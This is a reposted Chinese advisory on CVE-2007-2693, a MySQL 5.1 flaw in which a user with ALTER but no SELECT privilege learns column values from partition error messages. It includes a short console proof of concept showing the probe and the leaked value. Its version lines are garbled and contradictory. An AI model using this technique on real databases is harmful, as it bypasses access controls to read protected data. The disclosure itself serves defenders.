Heim > Datenbank > MySQL-Tutorial > 导致MySQL Alter Table函数信息泄露的原因

导致MySQL Alter Table函数信息泄露的原因

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Freigeben: 2016-06-07 16:13:28
Original
1242 Leute haben es durchsucht

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧! 受影响系统: MySQLABMySQL5.1.x 5.1.18 不受影响系统: MySQLABMySQL5.1.18

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!

受影响系统:

<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.x </span><span class="tag"><span> </span><span class="tag-name">5.1.18</span><span>  </span></span></span></li></ol>
Nach dem Login kopieren

不受影响系统:

<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.18  </span></span></li></ol>
Nach dem Login kopieren

描述:BUGTRAQ ID: 24008

CVE(CAN) ID: CVE-2007-2693

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。

如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:

<ol class="dp-xml"><li class="alt"><span><span>ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  </span></span></li></ol>
Nach dem Login kopieren

MySQL会返回错误消息:

<ol class="dp-xml"><li class="alt"><span><span>"Table has no partition for value 18".  </span></span></li></ol>
Nach dem Login kopieren

这样该用户就可以知道存在column1 = 18的列。

测试方法:

以root用户发布:

<ol class="dp-xml">
<li class="alt"><span><span>mysql</span><span class="tag">></span><span> create table tu (s1 int);   </span></span></li>
<li><span>Query OK, 0 rows affected (0.00 sec)   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> insert into tu values (1);   </span>
</li>
<li><span>Query OK, 1 row affected (0.00 sec)   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> grant alter on tu to molly@localhost;   </span>
</li>
<li><span>Query OK, 0 rows affected (0.01 sec)   </span></li>
<li class="alt"><span> </span></li>
</ol>
Nach dem Login kopieren

以molly@localhost发布:

<ol class="dp-xml">
<li class="alt"><span><span>mysql</span><span class="tag">></span><span> select * from tu;   </span></span></li>
<li><span>ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   </span></li>
<li class="alt"><span>'tu'   </span></li>
<li>
<span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (1));   </span>
</li>
<li class="alt"><span>Query OK, 1 row affected (0.05 sec)   </span></li>
<li><span>Records: 1 Duplicates: 0 Warnings: 0   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (2));   </span>
</li>
<li><span>ERROR 1513 (HY000): Table has no partition for value 1  </span></li>
</ol>
Nach dem Login kopieren

以上的相关内容就是对MySQL Alter Table函数信息泄露漏洞的介绍,望你能有所收获。


Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage